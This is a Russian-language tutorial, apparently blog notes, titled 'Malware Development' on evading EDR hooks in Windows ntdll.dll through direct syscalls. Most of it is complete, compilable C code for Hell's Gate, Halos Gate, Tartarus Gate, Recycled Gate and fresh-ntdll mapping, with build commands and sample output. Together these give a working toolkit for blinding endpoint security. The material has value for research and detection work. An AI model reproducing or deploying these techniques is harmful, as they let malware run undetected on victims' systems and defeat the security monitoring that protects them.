Malware Development | Direct Syscalls & Gates
Зачем вообще все это нужно? EDR ставит свои хуки прямо в
ntdll.dll файл, состоящий из стабов сисколлов.
Каждая функция (например NtAllocateVirtualMemory)
выглядит примерно так:
NtAllocateVirtualMemory:
mov r10, rcx ;4c 8b d1
mov eax, 0x18 ;b8 18 00 00 00 = SSN
syscall ;0f 05
ret ;c3в Windows SSN меняются от версии к версии (в отличие от Linux, где например
execveвсегда 59, и на это можно рассчитывать)
(1) Проверка на хуки
Чистый стаб ntdll.dll всегда начинается с
4c 8b d1 (mov r10, rcx). Хукнутый стаб
начинается с e9 (jmp) или ff 25
(косвенный jmp). Простой сканер:
#include <windows.h>
#include <stdio.h>
static const char* HookTypeStr(BYTE x, BYTE y) {
if (x == 0xe9) return "rel jmp";
if (x == 0xff && y == 0x25) return "ind jmp";
if (x == 0x68) return "push ret";
if (x == 0xeb) return "short jmp";
return "unknown";
}
static BOOL IsHooked(const BYTE *fn) {
return !(fn[0] == 0x4c && fn[1] == 0x8b && fn[2] == 0xd1) && fn[0] != 0xb8;
}
int main(int argc, char **argv) {
BOOL verbose = (argc > 1 && strcmp(argv[1], "-v") == 0);
HMODULE base = GetModuleHandleA("ntdll.dll");
IMAGE_DOS_HEADER *pDos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS *pNt = (IMAGE_NT_HEADERS*)((BYTE*)base + pDos->e_lfanew);
IMAGE_EXPORT_DIRECTORY *pExp =
(IMAGE_EXPORT_DIRECTORY*)((BYTE*)base +
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD *pNames = (DWORD*)((BYTE*)base + pExp->AddressOfNames);
WORD *pOrdinals = (WORD*) ((BYTE*)base + pExp->AddressOfNameOrdinals);
DWORD *pFns = (DWORD*)((BYTE*)base + pExp->AddressOfFunctions);
int scanned = 0, hooked = 0;
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {
char *name = (char*)((BYTE*)base + pNames[i]);
if ((name[0] != 'N' || name[1] != 't') &&
(name[0] != 'Z' || name[1] != 'w'))
continue;
scanned++;
BYTE *fn = (BYTE*)base + pFns[pOrdinals[i]];
if (IsHooked(fn)) {
hooked++;
if (verbose)
printf("[!] %-40s %s\n", name, HookTypeStr(fn[0], fn[1]));
}
}
if (hooked == 0)
printf("[+] ntdll чистый (%d стабов)\n", scanned);
else
printf("[!] %d/%d хукнутых\n", hooked, scanned);
return 0;
}(2) Hell’s Gate
Просто техника парсинга ntdll.dll для DS. Код ищет
mov r10, rcx; mov eax, SSN в стабах:
if (// паттерн 4c 8b d1 b8 L H 00 00
stub[0] == 0x4c && stub[1] == 0x8b && stub[2] == 0xd1 &&
stub[3] == 0xb8 && stub[6] == 0x00 && stub[7] == 0x00
)Ищем syscall number путем парса ntdll.dll (PEB вместо
GetModuleHandle). Ищем паттерн
4c 8b d1 b8 ?? ?? 00 00 и достаем SSN из байт 4-5
(попробовать с regexp?)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
static DWORD HashA(const char *s) {
DWORD h = 5381;
while (*s) h = h * 33 + (BYTE)*s++;
return h;
}
static DWORD HashW(const wchar_t *s) {
DWORD h = 5381;
while (*s) {
wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
h = h * 33 + (BYTE)c;
s++;
}
return h;
}
static PVOID GetNtdll(void) {
PEB *peb = (PEB *)__readgsqword(0x60);
LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
DWORD target = HashW(L"ntdll.dll");
while (cur != head) {
LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (e->FullDllName.Buffer) {
wchar_t *base = e->FullDllName.Buffer;
USHORT n = e->FullDllName.Length / sizeof(wchar_t);
for (USHORT i = 0; i < n; i++)
if (e->FullDllName.Buffer[i] == L'\\')
base = e->FullDllName.Buffer + i + 1;
if (HashW(base) == target)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
static PBYTE GetProc(PVOID base, DWORD hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
PWORD ords = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *name = (const char *)((PBYTE)base + names[i]);
if (HashA(name) == hash)
return (PBYTE)base + funcs[ords[i]];
}
return NULL;
}
static DWORD ExtractSSN(PBYTE stub) {
for (int i = 0; i < 32; i++) {
if (stub[i] == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
stub[i+3] == 0xb8)
return *(DWORD *)(stub + i + 4);
}
return (DWORD)-1;
}
int main(void) {
PVOID ntdll = GetNtdll();
PBYTE stub = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));
DWORD ssn = ExtractSSN(stub);
printf("stub[0..3] = %02x %02x %02x %02x %s\n",
stub[0], stub[1], stub[2], stub[3],
ssn == (DWORD)-1 ? "[HOOKED]" : "[clean]");
if (ssn == (DWORD)-1) { puts("hooked, bail"); return 1; }
printf("SSN NtAllocateVirtualMemory = 0x%x\n", ssn);
BYTE sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0, 0, 0, 0,
0x0f, 0x05,
0xc3
};
*(DWORD *)(sc + 4) = ssn;
PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(tramp, sc, sizeof(sc));
PVOID base = NULL; SIZE_T sz = 0x1000;
NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
printf("NtAllocateVirtualMemory -> %p status=0x%x\n", base, st);
VirtualFree(tramp, 0, MEM_RELEASE);
VirtualFree(base, 0, MEM_RELEASE);
return 0;
}cl /nologo /O2 main.c /link /subsystem:console kernel32.lib
(3) Halos Gate
Hell’s Gate работает только если стабы не хукнуты. Если хукнуты
(jmp <edr> == 0xe9) => не будет нужных стабов,
потому что паттерн другой. Halos Gate использует то, что стабы в
ntdll.dll идут линейно с фиксированным размером 32 байта
(stub(ssn=2) идет сразу после stub(ssn=1)). Если
NtAllocateVirtualMemory с SSN=10 хукнут, а следующий
NtXXX с SSN=11 чистый - просто берем соседа и вычисляем
нужный SSN вручную.
.
Идейно:
// проверяем соседей +-32 стаба - маловероятно что столько подряд хукнуто
for (int d = 1; d < 32; d++)
{
PBYTE neighbor = stub + d*32; // следующий стаб => +32 байта
if ( !isHooked(neighbor) && ScanCleanStub(neighbor,&n_ssn,&n_gate) )
{
target_ssn = n_ssn - d; // нужный SSN = SSN соседа - дельта
break;
}
neighbor = stub - d*32; // предыдущий стаб
if ( !isHooked(neighbor) && ScanCleanStub(neighbor,&n_ssn,&n_gate) )
{
target_ssn = n_ssn + d;
break;
}
}Рабочий пример:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
#define STUB_SIZE 32
static DWORD HashA(const char *s) {
DWORD h = 5381;
while (*s) h = h * 33 + (BYTE)*s++;
return h;
}
static DWORD HashW(const wchar_t *s) {
DWORD h = 5381;
while (*s) {
wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
h = h * 33 + (BYTE)c;
s++;
}
return h;
}
static PVOID GetNtdll(void) {
PEB *peb = (PEB *)__readgsqword(0x60);
LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
DWORD target = HashW(L"ntdll.dll");//22d3b5ed
while (cur != head) {
LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (e->FullDllName.Buffer) {
wchar_t *base = e->FullDllName.Buffer;
USHORT n = e->FullDllName.Length / sizeof(wchar_t);
for (USHORT i = 0; i < n; i++)
if (e->FullDllName.Buffer[i] == L'\\')
base = e->FullDllName.Buffer + i + 1;
if (HashW(base) == target)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
static PBYTE GetProc(PVOID base, DWORD hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
PWORD ords = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *name = (const char *)((PBYTE)base + names[i]);
if (HashA(name) == hash)
return (PBYTE)base + funcs[ords[i]];
}
return NULL;
}
static BOOL IsHooked(PBYTE stub) {
return stub[0] == 0xe9;
}
static DWORD ScanSSN(PBYTE stub) {
for (int i = 0; i < 32; i++) {
if (stub[i] == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
stub[i+3] == 0xb8)
return *(DWORD *)(stub + i + 4);
}
return (DWORD)-1;
}
static DWORD HalosGate(PBYTE stub) {
for (int d = 1; d <= 32; d++) {
for (int sign = -1; sign <= 1; sign += 2) {
PBYTE neighbor = stub + sign * d * STUB_SIZE;
if (!IsHooked(neighbor)) {
DWORD nssn = ScanSSN(neighbor);
if (nssn != (DWORD)-1)
return nssn - sign * d;
}
}
}
return (DWORD)-1;
}
int main(void) {
PVOID ntdll = GetNtdll();
PBYTE stub = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));
DWORD ssn;
if (IsHooked(stub)) {
printf("stub[0] = e9 -> JMP hook, running Halos Gate\n");
ssn = HalosGate(stub);
} else {
printf("stub чистый\n");
ssn = ScanSSN(stub);
}
if (ssn == (DWORD)-1) { puts("SSN resolve failed"); return 1; }
printf("SSN NtAllocateVirtualMemory = 0x%x\n", ssn);
BYTE sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0, 0, 0, 0,
0x0f, 0x05,
0xc3
};
*(DWORD *)(sc + 4) = ssn;
PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(tramp, sc, sizeof(sc));
PVOID base = NULL; SIZE_T sz = 0x1000;
NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
printf("NtAllocateVirtualMemory -> %p status=0x%x\n", base, st);
VirtualFree(tramp, 0, MEM_RELEASE);
VirtualFree(base, 0, MEM_RELEASE);
return 0;
}cl /nologo /O2 main.c /link /subsystem:console kernel32.lib
(4) Tartarus Gate
Расширение Halos Gate. Некоторые EDR на старых версиях Windows
заменяют syscall на int 2e
(cd 2e) вместо jmp. Tartarus Gate добавляет эту сигнатуру в
проверку хука (насколько я понял эту технику)
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
#define STUB_SIZE 32
static DWORD HashA(const char *s) {
DWORD h = 5381;
while (*s) h = h * 33 + (BYTE)*s++;
return h;
}
static DWORD HashW(const wchar_t *s) {
DWORD h = 5381;
while (*s) {
wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
h = h * 33 + (BYTE)c;
s++;
}
return h;
}
static PVOID GetNtdll(void) {
PEB *peb = (PEB *)__readgsqword(0x60);
LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
DWORD target = HashW(L"ntdll.dll");
while (cur != head) {
LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (e->FullDllName.Buffer) {
wchar_t *base = e->FullDllName.Buffer;
USHORT n = e->FullDllName.Length / sizeof(wchar_t);
for (USHORT i = 0; i < n; i++)
if (e->FullDllName.Buffer[i] == L'\\')
base = e->FullDllName.Buffer + i + 1;
if (HashW(base) == target)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
static PBYTE GetProc(PVOID base, DWORD hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
PWORD ords = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *name = (const char *)((PBYTE)base + names[i]);
if (HashA(name) == hash)
return (PBYTE)base + funcs[ords[i]];
}
return NULL;
}
static BOOL IsHooked(PBYTE stub) {
return stub[0] == 0xe9 || (stub[0] == 0xcd && stub[1] == 0x2e);
}
static const char *HookType(PBYTE stub) {
if (stub[0] == 0xe9) return "JMP";
if (stub[0] == 0xcd && stub[1] == 0x2e) return "INT 2E";
return "clean";
}
static DWORD ScanSSN(PBYTE stub) {
for (int i = 0; i < 32; i++) {
if (stub[i] == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
stub[i+3] == 0xb8)
return *(DWORD *)(stub + i + 4);
}
return (DWORD)-1;
}
static DWORD TartarusGate(PBYTE stub) {
for (int d = 1; d <= 32; d++) {
for (int sign = -1; sign <= 1; sign += 2) {
PBYTE neighbor = stub + sign * d * STUB_SIZE;
if (!IsHooked(neighbor)) {
DWORD nssn = ScanSSN(neighbor);
if (nssn != (DWORD)-1)
return nssn - sign * d;
}
}
}
return (DWORD)-1;
}
int main(void) {
PVOID ntdll = GetNtdll();
PBYTE stub = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));
printf("stub[0..3] = %02x %02x %02x %02x -> %s\n",
stub[0], stub[1], stub[2], stub[3], HookType(stub));
DWORD ssn;
if (IsHooked(stub)) {
ssn = TartarusGate(stub);
printf("Tartarus Gate derived SSN = 0x%x\n", ssn);
} else {
ssn = ScanSSN(stub);
printf("direct SSN = 0x%x\n", ssn);
}
if (ssn == (DWORD)-1) { puts("SSN resolve failed"); return 1; }
BYTE sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0, 0, 0, 0,
0x0f, 0x05,
0xc3
};
*(DWORD *)(sc + 4) = ssn;
PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(tramp, sc, sizeof(sc));
PVOID base = NULL; SIZE_T sz = 0x1000;
NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
printf("NtAllocateVirtualMemory -> %p status=0x%x\n", base, st);
VirtualFree(tramp, 0, MEM_RELEASE);
VirtualFree(base, 0, MEM_RELEASE);
return 0;
}cl /nologo /O2 main.c /link /subsystem:console kernel32.lib
(5) Recycled Gate
берем
syscall ; retизntdll.dll.
Все прошлые техники имели большую проблему : в нормальных ситуациях
программы не пользуются прямыми сисколами
красный флаг для EDR. Также во время сискола RIP указывает на наш
участок кода , что тоже является ред флагом для EDR (проводится проверка
кол стека, это можно обойти Call Stack Spoofing техниками). Решение -
Recycled Gate: ищем готовый гаджет syscall ; ret
(0f 05 c3) внутри .text секции
ntdll.dll и прыгаем на него. В момент сискола RIP находится
в ntdll.dll
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
static DWORD HashA(const char *s) {
DWORD h = 5381;
while (*s) h = h * 33 + (BYTE)*s++;
return h;
}
static DWORD HashW(const wchar_t *s) {
DWORD h = 5381;
while (*s) {
wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
h = h * 33 + (BYTE)c;
s++;
}
return h;
}
static PVOID GetNtdll(void) {
PEB *peb = (PEB *)__readgsqword(0x60);
LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
DWORD target = HashW(L"ntdll.dll");
while (cur != head) {
LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (e->FullDllName.Buffer) {
wchar_t *base = e->FullDllName.Buffer;
USHORT n = e->FullDllName.Length / sizeof(wchar_t);
for (USHORT i = 0; i < n; i++)
if (e->FullDllName.Buffer[i] == L'\\')
base = e->FullDllName.Buffer + i + 1;
if (HashW(base) == target)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
static PBYTE GetProc(PVOID base, DWORD hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)base + rva);
PDWORD names = (PDWORD)((PBYTE)base + exp->AddressOfNames);
PWORD ords = (PWORD) ((PBYTE)base + exp->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)((PBYTE)base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *name = (const char *)((PBYTE)base + names[i]);
if (HashA(name) == hash)
return (PBYTE)base + funcs[ords[i]];
}
return NULL;
}
static DWORD ExtractSSN(PBYTE stub) {
for (int i = 0; i < 32; i++) {
if (stub[i] == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
stub[i+3] == 0xb8)
return *(DWORD *)(stub + i + 4);
}
return (DWORD)-1;
}
static PBYTE FindGadget(PVOID base) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)base + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (sec->Characteristics & IMAGE_SCN_CNT_CODE) {
PBYTE p = (PBYTE)base + sec->VirtualAddress;
DWORD n = sec->Misc.VirtualSize;
for (DWORD j = 0; j + 2 < n; j++) {
if (p[j] == 0x0f && p[j+1] == 0x05 && p[j+2] == 0xc3)
return p + j;
}
}
}
return NULL;
}
int main(void) {
PVOID ntdll = GetNtdll();
PBYTE stub = GetProc(ntdll, HashA("NtAllocateVirtualMemory"));
DWORD ssn = ExtractSSN(stub);
PBYTE gadget = FindGadget(ntdll);
printf("stub[0..3] = %02x %02x %02x %02x %s\n",
stub[0], stub[1], stub[2], stub[3],
ssn == (DWORD)-1 ? "[HOOKED]" : "[clean]");
printf("SSN = 0x%x\ngadget @ %p\n", ssn, gadget);
if (ssn == (DWORD)-1 || !gadget) return 1;
BYTE sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0, 0, 0, 0,
0xff, 0x25, 0x00, 0x00, 0x00, 0x00,
0, 0, 0, 0, 0, 0, 0, 0
};
*(DWORD *)(sc + 4) = ssn;
*(PVOID *)(sc + 14) = gadget;
PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(tramp, sc, sizeof(sc));
PVOID base = NULL; SIZE_T sz = 0x1000;
NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
printf("NtAllocateVirtualMemory -> %p status=0x%x\n", base, st);
VirtualFree(tramp, 0, MEM_RELEASE);
VirtualFree(base, 0, MEM_RELEASE);
return 0;
}cl /nologo /O2 main.c /link /subsystem:console kernel32.lib
Вывод на чистой машине:
stub[0..3] = 4c 8b d1 b8 [clean]
SSN = 0x18
gadget @ 00007ffb12345abc
NtAllocateVirtualMemory -> 0000023400001000 status=0x0
Трамплин: mov r10,rcx + mov eax,ssn +
jmp [rip+0] -> адрес гейта в ntdll. В момент
syscall RIP указывает на ntdll, а не на наш код.
(6) Whispered Syscalls
Мапим новую копию ntdll.dll прямо с диска и вытаскиваем
SSN из нее. EDR патчит ntdll.dll только в памяти процесса,
файл на диске всегда чистый. SEC_IMAGE мапит файл так же
как загрузчик, со всеми нужными офсетами
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *NtAllocFn)(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
static DWORD HashA(const char *s) {
DWORD h = 5381;
while (*s) h = h * 33 + (BYTE)*s++;
return h;
}
static DWORD HashW(const wchar_t *s) {
DWORD h = 5381;
while (*s) {
wchar_t c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
h = h * 33 + (BYTE)c;
s++;
}
return h;
}
static PVOID GetNtdllBase(void) {
PEB *peb = (PEB *)__readgsqword(0x60);
LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
DWORD target = HashW(L"ntdll.dll");
while (cur != head) {
LDR_DATA_TABLE_ENTRY *e = CONTAINING_RECORD(cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (e->FullDllName.Buffer) {
wchar_t *base = e->FullDllName.Buffer;
USHORT n = e->FullDllName.Length / sizeof(wchar_t);
for (USHORT i = 0; i < n; i++)
if (e->FullDllName.Buffer[i] == L'\\')
base = e->FullDllName.Buffer + i + 1;
if (HashW(base) == target)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
static PVOID MapFreshNtdll(void) {
wchar_t path[MAX_PATH];
GetSystemDirectoryW(path, MAX_PATH);
wcscat_s(path, MAX_PATH, L"\\ntdll.dll");
HANDLE file = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (file == INVALID_HANDLE_VALUE) return NULL;
HANDLE map = CreateFileMappingA(file, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
CloseHandle(file);
if (!map) return NULL;
PVOID view = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
CloseHandle(map);
return view;
}
static PBYTE GetProcFromFresh(PVOID fresh, DWORD hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)fresh;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)fresh + dos->e_lfanew);
DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)fresh + rva);
PDWORD names = (PDWORD)((PBYTE)fresh + exp->AddressOfNames);
PWORD ords = (PWORD) ((PBYTE)fresh + exp->AddressOfNameOrdinals);
PDWORD funcs = (PDWORD)((PBYTE)fresh + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *name = (const char *)((PBYTE)fresh + names[i]);
if (HashA(name) == hash)
return (PBYTE)fresh + funcs[ords[i]];
}
return NULL;
}
static DWORD ExtractSSN(PBYTE stub) {
for (int i = 0; i < 32; i++) {
if (stub[i] == 0x4c && stub[i+1] == 0x8b && stub[i+2] == 0xd1 &&
stub[i+3] == 0xb8)
return *(DWORD *)(stub + i + 4);
}
return (DWORD)-1;
}
int main(void) {
PVOID loaded = GetNtdllBase();
PVOID fresh = MapFreshNtdll();
if (!fresh) { puts("map failed"); return 1; }
printf("loaded @ %p\nfresh @ %p\n", loaded, fresh);
DWORD hash = HashA("NtAllocateVirtualMemory");
PBYTE stub_loaded = GetProcFromFresh(loaded, hash);
PBYTE stub_fresh = GetProcFromFresh(fresh, hash);
printf("loaded stub[0..3] = %02x %02x %02x %02x %s\n",
stub_loaded[0], stub_loaded[1], stub_loaded[2], stub_loaded[3],
stub_loaded[0] == 0x4c ? "[clean]" : "[HOOKED]");
printf("fresh stub[0..3] = %02x %02x %02x %02x [always clean]\n",
stub_fresh[0], stub_fresh[1], stub_fresh[2], stub_fresh[3]);
DWORD ssn = ExtractSSN(stub_fresh);
if (ssn == (DWORD)-1) { puts("SSN not found"); return 1; }
printf("SSN from fresh ntdll = 0x%x\n", ssn);
BYTE sc[] = {
0x4c, 0x8b, 0xd1,
0xb8, 0, 0, 0, 0,
0x0f, 0x05,
0xc3
};
*(DWORD *)(sc + 4) = ssn;
PVOID tramp = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(tramp, sc, sizeof(sc));
PVOID base = NULL; SIZE_T sz = 0x1000;
NTSTATUS st = ((NtAllocFn)tramp)((HANDLE)-1, &base, 0, &sz, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
printf("NtAllocateVirtualMemory -> %p status=0x%x\n", base, st);
VirtualFree(tramp, 0, MEM_RELEASE);
VirtualFree(base, 0, MEM_RELEASE);
UnmapViewOfFile(fresh);
return 0;
}cl /nologo /O2 main.c /link /subsystem:console kernel32.lib
Если EDR хукнул и
CreateFileMappingA/MapViewOfFile тоже, то
можно использовать прямые сисколлы через уже резолвленные SSN для
NtCreateSection/NtMapViewOfSection?